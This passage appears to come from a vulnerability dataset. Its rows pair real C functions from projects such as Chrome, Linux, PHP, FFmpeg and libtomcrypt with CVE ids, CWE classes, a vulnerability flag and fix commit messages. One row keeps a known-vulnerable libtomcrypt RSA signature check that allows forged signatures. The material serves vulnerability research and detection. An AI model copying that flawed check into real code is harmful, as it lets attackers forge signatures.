return false;
}
}
GLintptr offset = 0;
for (VertexAttribManager::VertexAttribList::const_iterator it =
enabled_attribs.begin(); it != enabled_attribs.end(); ++it) {
const VertexAttrib* attrib = *it;
const Program::VertexAttrib* attrib_info =
state_.current_program->GetAttribInfoByLocation(attrib->index());
GLuint max_accessed = attrib->MaxVertexAccessed(primcount,
max_vertex_accessed);
GLuint num_vertices = max_accessed + 1;
if (num_vertices == 0) {
LOCAL_SET_GL_ERROR(
GL_OUT_OF_MEMORY, function_name, "Simulating attrib 0");
return false;
}
if (attrib_info &&
attrib->CanAccess(max_accessed) &&
attrib->type() == GL_FIXED) {
int num_elements = attrib->size() * kSizeOfFloat;
int size = num_elements * num_vertices;
scoped_ptr<float[]> data(new float[size]);
const int32* src = reinterpret_cast<const int32 *>(
attrib->buffer()->GetRange(attrib->offset(), size));
const int32* end = src + num_elements;
float* dst = data.get();
while (src != end) {
*dst++ = static_cast<float>(*src++) / 65536.0f;
}
glBufferSubData(GL_ARRAY_BUFFER, offset, size, data.get());
glVertexAttribPointer(
attrib->index(), attrib->size(), GL_FLOAT, false, 0,
reinterpret_cast<GLvoid*>(offset));
offset += size;
}
}
*simulated = true;
return true;
}
|
C
|
Chrome
| 0 |
CVE-2018-9511
|
https://www.cvedetails.com/cve/CVE-2018-9511/
|
CWE-909
|
https://android.googlesource.com/platform/system/netd/+/931418b16c7197ca2df34c2a5609e49791125abe
|
931418b16c7197ca2df34c2a5609e49791125abe
|
Set optlen for UDP-encap check in XfrmController
When setting the socket owner for an encap socket XfrmController will
first attempt to verify that the socket has the UDP-encap socket option
set. When doing so it would pass in an uninitialized optlen parameter
which could cause the call to not modify the option value if the optlen
happened to be too short. So for example if the stack happened to
contain a zero where optlen was located the check would fail and the
socket owner would not be changed.
Fix this by setting optlen to the size of the option value parameter.
Test: run cts -m CtsNetTestCases
BUG: 111650288
Change-Id: I57b6e9dba09c1acda71e3ec2084652e961667bd9
(cherry picked from commit fc42a105147310bd680952d4b71fe32974bd8506)
|
const char* xfrmMsgTypeToString(uint16_t msg) {
switch (msg) {
XFRM_MSG_TRANS(XFRM_MSG_NEWSA)
XFRM_MSG_TRANS(XFRM_MSG_DELSA)
XFRM_MSG_TRANS(XFRM_MSG_GETSA)
XFRM_MSG_TRANS(XFRM_MSG_NEWPOLICY)
XFRM_MSG_TRANS(XFRM_MSG_DELPOLICY)
XFRM_MSG_TRANS(XFRM_MSG_GETPOLICY)
XFRM_MSG_TRANS(XFRM_MSG_ALLOCSPI)
XFRM_MSG_TRANS(XFRM_MSG_ACQUIRE)
XFRM_MSG_TRANS(XFRM_MSG_EXPIRE)
XFRM_MSG_TRANS(XFRM_MSG_UPDPOLICY)
XFRM_MSG_TRANS(XFRM_MSG_UPDSA)
XFRM_MSG_TRANS(XFRM_MSG_POLEXPIRE)
XFRM_MSG_TRANS(XFRM_MSG_FLUSHSA)
XFRM_MSG_TRANS(XFRM_MSG_FLUSHPOLICY)
XFRM_MSG_TRANS(XFRM_MSG_NEWAE)
XFRM_MSG_TRANS(XFRM_MSG_GETAE)
XFRM_MSG_TRANS(XFRM_MSG_REPORT)
XFRM_MSG_TRANS(XFRM_MSG_MIGRATE)
XFRM_MSG_TRANS(XFRM_MSG_NEWSADINFO)
XFRM_MSG_TRANS(XFRM_MSG_GETSADINFO)
XFRM_MSG_TRANS(XFRM_MSG_GETSPDINFO)
XFRM_MSG_TRANS(XFRM_MSG_NEWSPDINFO)
XFRM_MSG_TRANS(XFRM_MSG_MAPPING)
default:
return "XFRM_MSG UNKNOWN";
}
}
|
const char* xfrmMsgTypeToString(uint16_t msg) {
switch (msg) {
XFRM_MSG_TRANS(XFRM_MSG_NEWSA)
XFRM_MSG_TRANS(XFRM_MSG_DELSA)
XFRM_MSG_TRANS(XFRM_MSG_GETSA)
XFRM_MSG_TRANS(XFRM_MSG_NEWPOLICY)
XFRM_MSG_TRANS(XFRM_MSG_DELPOLICY)
XFRM_MSG_TRANS(XFRM_MSG_GETPOLICY)
XFRM_MSG_TRANS(XFRM_MSG_ALLOCSPI)
XFRM_MSG_TRANS(XFRM_MSG_ACQUIRE)
XFRM_MSG_TRANS(XFRM_MSG_EXPIRE)
XFRM_MSG_TRANS(XFRM_MSG_UPDPOLICY)
XFRM_MSG_TRANS(XFRM_MSG_UPDSA)
XFRM_MSG_TRANS(XFRM_MSG_POLEXPIRE)
XFRM_MSG_TRANS(XFRM_MSG_FLUSHSA)
XFRM_MSG_TRANS(XFRM_MSG_FLUSHPOLICY)
XFRM_MSG_TRANS(XFRM_MSG_NEWAE)
XFRM_MSG_TRANS(XFRM_MSG_GETAE)
XFRM_MSG_TRANS(XFRM_MSG_REPORT)
XFRM_MSG_TRANS(XFRM_MSG_MIGRATE)
XFRM_MSG_TRANS(XFRM_MSG_NEWSADINFO)
XFRM_MSG_TRANS(XFRM_MSG_GETSADINFO)
XFRM_MSG_TRANS(XFRM_MSG_GETSPDINFO)
XFRM_MSG_TRANS(XFRM_MSG_NEWSPDINFO)
XFRM_MSG_TRANS(XFRM_MSG_MAPPING)
default:
return "XFRM_MSG UNKNOWN";
}
}
|
C
|
Android
| 0 |
CVE-2016-5093
|
https://www.cvedetails.com/cve/CVE-2016-5093/
|
CWE-125
|
https://github.com/php/php-src/commit/97eff7eb57fc2320c267a949cffd622c38712484?w=1
|
97eff7eb57fc2320c267a949cffd622c38712484?w=1
|
Fix bug #72241: get_icu_value_internal out-of-bounds read
|
static int strToMatch(const char* str ,char *retstr)
{
char* anchor = NULL;
const char* anchor1 = NULL;
int result = 0;
if( (!str) || str[0] == '\0'){
return result;
} else {
anchor = retstr;
anchor1 = str;
while( (*str)!='\0' ){
if( *str == '-' ){
*retstr = '_';
} else {
*retstr = tolower(*str);
}
str++;
retstr++;
}
*retstr = '\0';
retstr= anchor;
str= anchor1;
result = 1;
}
return(result);
}
|
static int strToMatch(const char* str ,char *retstr)
{
char* anchor = NULL;
const char* anchor1 = NULL;
int result = 0;
if( (!str) || str[0] == '\0'){
return result;
} else {
anchor = retstr;
anchor1 = str;
while( (*str)!='\0' ){
if( *str == '-' ){
*retstr = '_';
} else {
*retstr = tolower(*str);
}
str++;
retstr++;
}
*retstr = '\0';
retstr= anchor;
str= anchor1;
result = 1;
}
return(result);
}
|
C
|
php-src
| 0 |
CVE-2018-12460
|
https://www.cvedetails.com/cve/CVE-2018-12460/
|
CWE-476
|
https://github.com/FFmpeg/FFmpeg/commit/b3332a182f8ba33a34542e4a0370f38b914ccf7d
|
b3332a182f8ba33a34542e4a0370f38b914ccf7d
|
avcodec/idctdsp: Transmit studio_profile to init instead of using AVCodecContext profile
These 2 fields are not always the same, it is simpler to always use the same field
for detecting studio profile
Fixes: null pointer dereference
Fixes: ffmpeg_crash_3.avi
Found-by: Thuan Pham <[email protected]>, Marcel Böhme, Andrew Santosa and Alexandru RazvanCaciulescu with AFLSmart
Signed-off-by: Michael Niedermayer <[email protected]>
|
static void dct_unquantize_mpeg1_intra_c(MpegEncContext *s,
int16_t *block, int n, int qscale)
{
int i, level, nCoeffs;
const uint16_t *quant_matrix;
nCoeffs= s->block_last_index[n];
block[0] *= n < 4 ? s->y_dc_scale : s->c_dc_scale;
/* XXX: only MPEG-1 */
quant_matrix = s->intra_matrix;
for(i=1;i<=nCoeffs;i++) {
int j= s->intra_scantable.permutated[i];
level = block[j];
if (level) {
if (level < 0) {
level = -level;
level = (int)(level * qscale * quant_matrix[j]) >> 3;
level = (level - 1) | 1;
level = -level;
} else {
level = (int)(level * qscale * quant_matrix[j]) >> 3;
level = (level - 1) | 1;
}
block[j] = level;
}
}
}
|
static void dct_unquantize_mpeg1_intra_c(MpegEncContext *s,
int16_t *block, int n, int qscale)
{
int i, level, nCoeffs;
const uint16_t *quant_matrix;
nCoeffs= s->block_last_index[n];
block[0] *= n < 4 ? s->y_dc_scale : s->c_dc_scale;
/* XXX: only MPEG-1 */
quant_matrix = s->intra_matrix;
for(i=1;i<=nCoeffs;i++) {
int j= s->intra_scantable.permutated[i];
level = block[j];
if (level) {
if (level < 0) {
level = -level;
level = (int)(level * qscale * quant_matrix[j]) >> 3;
level = (level - 1) | 1;
level = -level;
} else {
level = (int)(level * qscale * quant_matrix[j]) >> 3;
level = (level - 1) | 1;
}
block[j] = level;
}
}
}
|
C
|
FFmpeg
| 0 |
CVE-2017-7533
|
https://www.cvedetails.com/cve/CVE-2017-7533/
|
CWE-362
|
https://github.com/torvalds/linux/commit/49d31c2f389acfe83417083e1208422b4091cd9e
|
49d31c2f389acfe83417083e1208422b4091cd9e
|
dentry name snapshots
take_dentry_name_snapshot() takes a safe snapshot of dentry name;
if the name is a short one, it gets copied into caller-supplied
structure, otherwise an extra reference to external name is grabbed
(those are never modified). In either case the pointer to stable
string is stored into the same structure.
dentry must be held by the caller of take_dentry_name_snapshot(),
but may be freely dropped afterwards - the snapshot will stay
until destroyed by release_dentry_name_snapshot().
Intended use:
struct name_snapshot s;
take_dentry_name_snapshot(&s, dentry);
...
access s.name
...
release_dentry_name_snapshot(&s);
Replaces fsnotify_oldname_...(), gets used in fsnotify to obtain the name
to pass down with event.
Signed-off-by: Al Viro <[email protected]>
|
long prune_dcache_sb(struct super_block *sb, struct shrink_control *sc)
{
LIST_HEAD(dispose);
long freed;
freed = list_lru_shrink_walk(&sb->s_dentry_lru, sc,
dentry_lru_isolate, &dispose);
shrink_dentry_list(&dispose);
return freed;
}
|
long prune_dcache_sb(struct super_block *sb, struct shrink_control *sc)
{
LIST_HEAD(dispose);
long freed;
freed = list_lru_shrink_walk(&sb->s_dentry_lru, sc,
dentry_lru_isolate, &dispose);
shrink_dentry_list(&dispose);
return freed;
}
|
C
|
linux
| 0 |
CVE-2012-2895
|
https://www.cvedetails.com/cve/CVE-2012-2895/
|
CWE-119
|
https://github.com/chromium/chromium/commit/baef1ffd73db183ca50c854e1779ed7f6e5100a8
|
baef1ffd73db183ca50c854e1779ed7f6e5100a8
|
Revert 144993 - gdata: Remove invalid files in the cache directories
Broke linux_chromeos_valgrind:
http://build.chromium.org/p/chromium.memory.fyi/builders/Chromium%20OS%20%28valgrind%29%285%29/builds/8628/steps/memory%20test%3A%20unit/logs/stdio
In theory, we shouldn't have any invalid files left in the
cache directories, but things can go wrong and invalid files
may be left if the device shuts down unexpectedly, for instance.
Besides, it's good to be defensive.
BUG=134862
TEST=added unit tests
Review URL: https://chromiumcodereview.appspot.com/10693020
[email protected]
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@145029 0039d316-1c4b-4281-b951-d872f2087c98
|
void GDataCache::SetMountedState(const FilePath& file_path,
bool to_mount,
base::PlatformFileError *error,
FilePath* cache_file_path) {
AssertOnSequencedWorkerPool();
DCHECK(error);
DCHECK(cache_file_path);
std::string resource_id;
std::string md5;
std::string extra_extension;
util::ParseCacheFilePath(file_path, &resource_id, &md5, &extra_extension);
DCHECK(!to_mount == (extra_extension == util::kMountedArchiveFileExtension));
scoped_ptr<CacheEntry> cache_entry = GetCacheEntry(
resource_id, md5);
if (!cache_entry.get()) {
*error = base::PLATFORM_FILE_ERROR_NOT_FOUND;
return;
}
if (to_mount == cache_entry->IsMounted()) {
*error = base::PLATFORM_FILE_ERROR_INVALID_OPERATION;
return;
}
CacheSubDirectoryType unmounted_subdir =
cache_entry->IsPinned() ? CACHE_TYPE_PERSISTENT : CACHE_TYPE_TMP;
FilePath unmounted_path = GetCacheFilePath(
resource_id, md5, unmounted_subdir, CACHED_FILE_FROM_SERVER);
CacheSubDirectoryType mounted_subdir = CACHE_TYPE_PERSISTENT;
FilePath mounted_path = GetCacheFilePath(
resource_id, md5, mounted_subdir, CACHED_FILE_MOUNTED);
FilePath source_path;
CacheSubDirectoryType dest_subdir;
int cache_state = cache_entry->cache_state;
if (to_mount) {
source_path = unmounted_path;
*cache_file_path = mounted_path;
dest_subdir = mounted_subdir;
cache_state = SetCacheMounted(cache_state);
} else {
source_path = mounted_path;
*cache_file_path = unmounted_path;
dest_subdir = unmounted_subdir;
cache_state = ClearCacheMounted(cache_state);
}
*error = ModifyCacheState(source_path, *cache_file_path,
FILE_OPERATION_MOVE, FilePath(), false);
if (*error == base::PLATFORM_FILE_OK) {
metadata_->UpdateCache(resource_id, md5, dest_subdir, cache_state);
}
}
|
void GDataCache::SetMountedState(const FilePath& file_path,
bool to_mount,
base::PlatformFileError *error,
FilePath* cache_file_path) {
AssertOnSequencedWorkerPool();
DCHECK(error);
DCHECK(cache_file_path);
std::string resource_id;
std::string md5;
std::string extra_extension;
util::ParseCacheFilePath(file_path, &resource_id, &md5, &extra_extension);
DCHECK(!to_mount == (extra_extension == util::kMountedArchiveFileExtension));
scoped_ptr<CacheEntry> cache_entry = GetCacheEntry(
resource_id, md5);
if (!cache_entry.get()) {
*error = base::PLATFORM_FILE_ERROR_NOT_FOUND;
return;
}
if (to_mount == cache_entry->IsMounted()) {
*error = base::PLATFORM_FILE_ERROR_INVALID_OPERATION;
return;
}
CacheSubDirectoryType unmounted_subdir =
cache_entry->IsPinned() ? CACHE_TYPE_PERSISTENT : CACHE_TYPE_TMP;
FilePath unmounted_path = GetCacheFilePath(
resource_id, md5, unmounted_subdir, CACHED_FILE_FROM_SERVER);
CacheSubDirectoryType mounted_subdir = CACHE_TYPE_PERSISTENT;
FilePath mounted_path = GetCacheFilePath(
resource_id, md5, mounted_subdir, CACHED_FILE_MOUNTED);
FilePath source_path;
CacheSubDirectoryType dest_subdir;
int cache_state = cache_entry->cache_state;
if (to_mount) {
source_path = unmounted_path;
*cache_file_path = mounted_path;
dest_subdir = mounted_subdir;
cache_state = SetCacheMounted(cache_state);
} else {
source_path = mounted_path;
*cache_file_path = unmounted_path;
dest_subdir = unmounted_subdir;
cache_state = ClearCacheMounted(cache_state);
}
*error = ModifyCacheState(source_path, *cache_file_path,
FILE_OPERATION_MOVE, FilePath(), false);
if (*error == base::PLATFORM_FILE_OK) {
metadata_->UpdateCache(resource_id, md5, dest_subdir, cache_state);
}
}
|
C
|
Chrome
| 0 |
CVE-2010-4648
|
https://www.cvedetails.com/cve/CVE-2010-4648/
| null |
https://github.com/torvalds/linux/commit/0a54917c3fc295cb61f3fb52373c173fd3b69f48
|
0a54917c3fc295cb61f3fb52373c173fd3b69f48
|
orinoco: fix TKIP countermeasure behaviour
Enable the port when disabling countermeasures, and disable it on
enabling countermeasures.
This bug causes the response of the system to certain attacks to be
ineffective.
It also prevents wpa_supplicant from getting scan results, as
wpa_supplicant disables countermeasures on startup - preventing the
hardware from scanning.
wpa_supplicant works with ap_mode=2 despite this bug because the commit
handler re-enables the port.
The log tends to look like:
State: DISCONNECTED -> SCANNING
Starting AP scan for wildcard SSID
Scan requested (ret=0) - scan timeout 5 seconds
EAPOL: disable timer tick
EAPOL: Supplicant port status: Unauthorized
Scan timeout - try to get results
Failed to get scan results
Failed to get scan results - try scanning again
Setting scan request: 1 sec 0 usec
Starting AP scan for wildcard SSID
Scan requested (ret=-1) - scan timeout 5 seconds
Failed to initiate AP scan.
Reported by: Giacomo Comes <[email protected]>
Signed-off by: David Kilroy <[email protected]>
Cc: [email protected]
Signed-off-by: John W. Linville <[email protected]>
|
static int orinoco_ioctl_getport3(struct net_device *dev,
struct iw_request_info *info,
void *wrqu,
char *extra)
{
struct orinoco_private *priv = ndev_priv(dev);
int *val = (int *) extra;
*val = priv->prefer_port3;
return 0;
}
|
static int orinoco_ioctl_getport3(struct net_device *dev,
struct iw_request_info *info,
void *wrqu,
char *extra)
{
struct orinoco_private *priv = ndev_priv(dev);
int *val = (int *) extra;
*val = priv->prefer_port3;
return 0;
}
|
C
|
linux
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/d4cd2b2c0953ad7e9fa988c234eb9361be80fe81
|
d4cd2b2c0953ad7e9fa988c234eb9361be80fe81
|
DevTools: 'Overrides' UI overlay obstructs page and element inspector
BUG=302862
[email protected]
Review URL: https://codereview.chromium.org/40233006
git-svn-id: svn://svn.chromium.org/blink/trunk@160559 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
static Vector<Resource*> cachedResourcesForFrame(Frame* frame)
{
Vector<Resource*> result;
const ResourceFetcher::DocumentResourceMap& allResources = frame->document()->fetcher()->allResources();
ResourceFetcher::DocumentResourceMap::const_iterator end = allResources.end();
for (ResourceFetcher::DocumentResourceMap::const_iterator it = allResources.begin(); it != end; ++it) {
Resource* cachedResource = it->value.get();
switch (cachedResource->type()) {
case Resource::Image:
if (static_cast<ImageResource*>(cachedResource)->stillNeedsLoad())
continue;
break;
case Resource::Font:
if (static_cast<FontResource*>(cachedResource)->stillNeedsLoad())
continue;
break;
default:
break;
}
result.append(cachedResource);
}
return result;
}
|
static Vector<Resource*> cachedResourcesForFrame(Frame* frame)
{
Vector<Resource*> result;
const ResourceFetcher::DocumentResourceMap& allResources = frame->document()->fetcher()->allResources();
ResourceFetcher::DocumentResourceMap::const_iterator end = allResources.end();
for (ResourceFetcher::DocumentResourceMap::const_iterator it = allResources.begin(); it != end; ++it) {
Resource* cachedResource = it->value.get();
switch (cachedResource->type()) {
case Resource::Image:
if (static_cast<ImageResource*>(cachedResource)->stillNeedsLoad())
continue;
break;
case Resource::Font:
if (static_cast<FontResource*>(cachedResource)->stillNeedsLoad())
continue;
break;
default:
break;
}
result.append(cachedResource);
}
return result;
}
|
C
|
Chrome
| 0 |
CVE-2016-6129
|
https://www.cvedetails.com/cve/CVE-2016-6129/
|
CWE-20
|
https://github.com/libtom/libtomcrypt/commit/5eb9743410ce4657e9d54fef26a2ee31a1b5dd0
|
5eb9743410ce4657e9d54fef26a2ee31a1b5dd0
|
rsa_verify_hash: fix possible bleichenbacher signature attack
|
int rsa_verify_hash_ex(const unsigned char *sig, unsigned long siglen,
const unsigned char *hash, unsigned long hashlen,
int padding,
int hash_idx, unsigned long saltlen,
int *stat, rsa_key *key)
{
unsigned long modulus_bitlen, modulus_bytelen, x;
int err;
unsigned char *tmpbuf;
LTC_ARGCHK(hash != NULL);
LTC_ARGCHK(sig != NULL);
LTC_ARGCHK(stat != NULL);
LTC_ARGCHK(key != NULL);
/* default to invalid */
*stat = 0;
/* valid padding? */
if ((padding != LTC_PKCS_1_V1_5) &&
(padding != LTC_PKCS_1_PSS)) {
return CRYPT_PK_INVALID_PADDING;
}
if (padding == LTC_PKCS_1_PSS) {
/* valid hash ? */
if ((err = hash_is_valid(hash_idx)) != CRYPT_OK) {
return err;
}
}
/* get modulus len in bits */
modulus_bitlen = mp_count_bits( (key->N));
/* outlen must be at least the size of the modulus */
modulus_bytelen = mp_unsigned_bin_size( (key->N));
if (modulus_bytelen != siglen) {
return CRYPT_INVALID_PACKET;
}
/* allocate temp buffer for decoded sig */
tmpbuf = XMALLOC(siglen);
if (tmpbuf == NULL) {
return CRYPT_MEM;
}
/* RSA decode it */
x = siglen;
if ((err = ltc_mp.rsa_me(sig, siglen, tmpbuf, &x, PK_PUBLIC, key)) != CRYPT_OK) {
XFREE(tmpbuf);
return err;
}
/* make sure the output is the right size */
if (x != siglen) {
XFREE(tmpbuf);
return CRYPT_INVALID_PACKET;
}
if (padding == LTC_PKCS_1_PSS) {
/* PSS decode and verify it */
if(modulus_bitlen%8 == 1){
err = pkcs_1_pss_decode(hash, hashlen, tmpbuf+1, x-1, saltlen, hash_idx, modulus_bitlen, stat);
}
else{
err = pkcs_1_pss_decode(hash, hashlen, tmpbuf, x, saltlen, hash_idx, modulus_bitlen, stat);
}
} else {
/* PKCS #1 v1.5 decode it */
unsigned char *out;
unsigned long outlen, loid[16], reallen;
int decoded;
ltc_asn1_list digestinfo[2], siginfo[2];
/* not all hashes have OIDs... so sad */
if (hash_descriptor[hash_idx].OIDlen == 0) {
err = CRYPT_INVALID_ARG;
goto bail_2;
}
/* allocate temp buffer for decoded hash */
outlen = ((modulus_bitlen >> 3) + (modulus_bitlen & 7 ? 1 : 0)) - 3;
out = XMALLOC(outlen);
if (out == NULL) {
err = CRYPT_MEM;
goto bail_2;
}
if ((err = pkcs_1_v1_5_decode(tmpbuf, x, LTC_PKCS_1_EMSA, modulus_bitlen, out, &outlen, &decoded)) != CRYPT_OK) {
XFREE(out);
goto bail_2;
}
/* now we must decode out[0...outlen-1] using ASN.1, test the OID and then test the hash */
/* construct the SEQUENCE
SEQUENCE {
SEQUENCE {hashoid OID
blah NULL
}
hash OCTET STRING
}
*/
LTC_SET_ASN1(digestinfo, 0, LTC_ASN1_OBJECT_IDENTIFIER, loid, sizeof(loid)/sizeof(loid[0]));
LTC_SET_ASN1(digestinfo, 1, LTC_ASN1_NULL, NULL, 0);
LTC_SET_ASN1(siginfo, 0, LTC_ASN1_SEQUENCE, digestinfo, 2);
LTC_SET_ASN1(siginfo, 1, LTC_ASN1_OCTET_STRING, tmpbuf, siglen);
if ((err = der_decode_sequence(out, outlen, siginfo, 2)) != CRYPT_OK) {
XFREE(out);
goto bail_2;
}
if ((err = der_length_sequence(siginfo, 2, &reallen)) != CRYPT_OK) {
XFREE(out);
goto bail_2;
}
/* test OID */
if ((reallen == outlen) &&
(digestinfo[0].size == hash_descriptor[hash_idx].OIDlen) &&
(XMEMCMP(digestinfo[0].data, hash_descriptor[hash_idx].OID, sizeof(unsigned long) * hash_descriptor[hash_idx].OIDlen) == 0) &&
(siginfo[1].size == hashlen) &&
(XMEMCMP(siginfo[1].data, hash, hashlen) == 0)) {
*stat = 1;
}
#ifdef LTC_CLEAN_STACK
zeromem(out, outlen);
#endif
XFREE(out);
}
bail_2:
#ifdef LTC_CLEAN_STACK
zeromem(tmpbuf, siglen);
#endif
XFREE(tmpbuf);
return err;
}
|
int rsa_verify_hash_ex(const unsigned char *sig, unsigned long siglen,
const unsigned char *hash, unsigned long hashlen,
int padding,
int hash_idx, unsigned long saltlen,
int *stat, rsa_key *key)
{
unsigned long modulus_bitlen, modulus_bytelen, x;
int err;
unsigned char *tmpbuf;
LTC_ARGCHK(hash != NULL);
LTC_ARGCHK(sig != NULL);
LTC_ARGCHK(stat != NULL);
LTC_ARGCHK(key != NULL);
/* default to invalid */
*stat = 0;
/* valid padding? */
if ((padding != LTC_PKCS_1_V1_5) &&
(padding != LTC_PKCS_1_PSS)) {
return CRYPT_PK_INVALID_PADDING;
}
if (padding == LTC_PKCS_1_PSS) {
/* valid hash ? */
if ((err = hash_is_valid(hash_idx)) != CRYPT_OK) {
return err;
}
}
/* get modulus len in bits */
modulus_bitlen = mp_count_bits( (key->N));
/* outlen must be at least the size of the modulus */
modulus_bytelen = mp_unsigned_bin_size( (key->N));
if (modulus_bytelen != siglen) {
return CRYPT_INVALID_PACKET;
}
/* allocate temp buffer for decoded sig */
tmpbuf = XMALLOC(siglen);
if (tmpbuf == NULL) {
return CRYPT_MEM;
}
/* RSA decode it */
x = siglen;
if ((err = ltc_mp.rsa_me(sig, siglen, tmpbuf, &x, PK_PUBLIC, key)) != CRYPT_OK) {
XFREE(tmpbuf);
return err;
}
/* make sure the output is the right size */
if (x != siglen) {
XFREE(tmpbuf);
return CRYPT_INVALID_PACKET;
}
if (padding == LTC_PKCS_1_PSS) {
/* PSS decode and verify it */
if(modulus_bitlen%8 == 1){
err = pkcs_1_pss_decode(hash, hashlen, tmpbuf+1, x-1, saltlen, hash_idx, modulus_bitlen, stat);
}
else{
err = pkcs_1_pss_decode(hash, hashlen, tmpbuf, x, saltlen, hash_idx, modulus_bitlen, stat);
}
} else {
/* PKCS #1 v1.5 decode it */
unsigned char *out;
unsigned long outlen, loid[16];
int decoded;
ltc_asn1_list digestinfo[2], siginfo[2];
/* not all hashes have OIDs... so sad */
if (hash_descriptor[hash_idx].OIDlen == 0) {
err = CRYPT_INVALID_ARG;
goto bail_2;
}
/* allocate temp buffer for decoded hash */
outlen = ((modulus_bitlen >> 3) + (modulus_bitlen & 7 ? 1 : 0)) - 3;
out = XMALLOC(outlen);
if (out == NULL) {
err = CRYPT_MEM;
goto bail_2;
}
if ((err = pkcs_1_v1_5_decode(tmpbuf, x, LTC_PKCS_1_EMSA, modulus_bitlen, out, &outlen, &decoded)) != CRYPT_OK) {
XFREE(out);
goto bail_2;
}
/* now we must decode out[0...outlen-1] using ASN.1, test the OID and then test the hash */
/* construct the SEQUENCE
SEQUENCE {
SEQUENCE {hashoid OID
blah NULL
}
hash OCTET STRING
}
*/
LTC_SET_ASN1(digestinfo, 0, LTC_ASN1_OBJECT_IDENTIFIER, loid, sizeof(loid)/sizeof(loid[0]));
LTC_SET_ASN1(digestinfo, 1, LTC_ASN1_NULL, NULL, 0);
LTC_SET_ASN1(siginfo, 0, LTC_ASN1_SEQUENCE, digestinfo, 2);
LTC_SET_ASN1(siginfo, 1, LTC_ASN1_OCTET_STRING, tmpbuf, siglen);
if ((err = der_decode_sequence(out, outlen, siginfo, 2)) != CRYPT_OK) {
XFREE(out);
goto bail_2;
}
/* test OID */
if ((digestinfo[0].size == hash_descriptor[hash_idx].OIDlen) &&
(XMEMCMP(digestinfo[0].data, hash_descriptor[hash_idx].OID, sizeof(unsigned long) * hash_descriptor[hash_idx].OIDlen) == 0) &&
(siginfo[1].size == hashlen) &&
(XMEMCMP(siginfo[1].data, hash, hashlen) == 0)) {
*stat = 1;
}
#ifdef LTC_CLEAN_STACK
zeromem(out, outlen);
#endif
XFREE(out);
}
bail_2:
#ifdef LTC_CLEAN_STACK
zeromem(tmpbuf, siglen);
#endif
XFREE(tmpbuf);
return err;
}
|
C
|
libtomcrypt
| 1 |
CVE-2014-7840
|
https://www.cvedetails.com/cve/CVE-2014-7840/
|
CWE-20
|
https://git.qemu.org/?p=qemu.git;a=commit;h=0be839a2701369f669532ea5884c15bead1c6e08
|
0be839a2701369f669532ea5884c15bead1c6e08
| null |
static uint64_t ram_save_pending(QEMUFile *f, void *opaque, uint64_t max_size)
{
uint64_t remaining_size;
remaining_size = ram_save_remaining() * TARGET_PAGE_SIZE;
if (remaining_size < max_size) {
qemu_mutex_lock_iothread();
migration_bitmap_sync();
qemu_mutex_unlock_iothread();
remaining_size = ram_save_remaining() * TARGET_PAGE_SIZE;
}
return remaining_size;
}
|
static uint64_t ram_save_pending(QEMUFile *f, void *opaque, uint64_t max_size)
{
uint64_t remaining_size;
remaining_size = ram_save_remaining() * TARGET_PAGE_SIZE;
if (remaining_size < max_size) {
qemu_mutex_lock_iothread();
migration_bitmap_sync();
qemu_mutex_unlock_iothread();
remaining_size = ram_save_remaining() * TARGET_PAGE_SIZE;
}
return remaining_size;
}
|
C
|
qemu
| 0 |
CVE-2018-6198
|
https://www.cvedetails.com/cve/CVE-2018-6198/
|
CWE-59
|
https://github.com/tats/w3m/commit/18dcbadf2771cdb0c18509b14e4e73505b242753
|
18dcbadf2771cdb0c18509b14e4e73505b242753
|
Make temporary directory safely when ~/.w3m is unwritable
|
DEFUN(execsh, EXEC_SHELL SHELL, "Execute shell command and display output")
{
char *cmd;
CurrentKeyData = NULL; /* not allowed in w3m-control: */
cmd = searchKeyData();
if (cmd == NULL || *cmd == '\0') {
cmd = inputLineHist("(exec shell)!", "", IN_COMMAND, ShellHist);
}
if (cmd != NULL)
cmd = conv_to_system(cmd);
if (cmd != NULL && *cmd != '\0') {
fmTerm();
printf("\n");
system(cmd);
/* FIXME: gettextize? */
printf("\n[Hit any key]");
fflush(stdout);
fmInit();
getch();
}
displayBuffer(Currentbuf, B_FORCE_REDRAW);
}
|
DEFUN(execsh, EXEC_SHELL SHELL, "Execute shell command and display output")
{
char *cmd;
CurrentKeyData = NULL; /* not allowed in w3m-control: */
cmd = searchKeyData();
if (cmd == NULL || *cmd == '\0') {
cmd = inputLineHist("(exec shell)!", "", IN_COMMAND, ShellHist);
}
if (cmd != NULL)
cmd = conv_to_system(cmd);
if (cmd != NULL && *cmd != '\0') {
fmTerm();
printf("\n");
system(cmd);
/* FIXME: gettextize? */
printf("\n[Hit any key]");
fflush(stdout);
fmInit();
getch();
}
displayBuffer(Currentbuf, B_FORCE_REDRAW);
}
|
C
|
w3m
| 0 |
CVE-2017-11147
|
https://www.cvedetails.com/cve/CVE-2017-11147/
|
CWE-125
|
https://git.php.net/?p=php-src.git;a=commit;h=e5246580a85f031e1a3b8064edbaa55c1643a451
|
e5246580a85f031e1a3b8064edbaa55c1643a451
| null |
static int phar_check_str(const char *fname, const char *ext_str, int ext_len, int executable, int for_create TSRMLS_DC) /* {{{ */
{
char test[51];
const char *pos;
if (ext_len >= 50) {
return FAILURE;
}
if (executable == 1) {
/* copy "." as well */
memcpy(test, ext_str - 1, ext_len + 1);
test[ext_len + 1] = '\0';
/* executable phars must contain ".phar" as a valid extension (phar://.pharmy/oops is invalid) */
/* (phar://hi/there/.phar/oops is also invalid) */
pos = strstr(test, ".phar");
if (pos && (*(pos - 1) != '/')
&& (pos += 5) && (*pos == '\0' || *pos == '/' || *pos == '.')) {
return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC);
} else {
return FAILURE;
}
}
/* data phars need only contain a single non-"." to be valid */
if (!executable) {
pos = strstr(ext_str, ".phar");
if (!(pos && (*(pos - 1) != '/')
&& (pos += 5) && (*pos == '\0' || *pos == '/' || *pos == '.')) && *(ext_str + 1) != '.' && *(ext_str + 1) != '/' && *(ext_str + 1) != '\0') {
return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC);
}
} else {
if (*(ext_str + 1) != '.' && *(ext_str + 1) != '/' && *(ext_str + 1) != '\0') {
return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC);
}
}
return FAILURE;
}
/* }}} */
|
static int phar_check_str(const char *fname, const char *ext_str, int ext_len, int executable, int for_create TSRMLS_DC) /* {{{ */
{
char test[51];
const char *pos;
if (ext_len >= 50) {
return FAILURE;
}
if (executable == 1) {
/* copy "." as well */
memcpy(test, ext_str - 1, ext_len + 1);
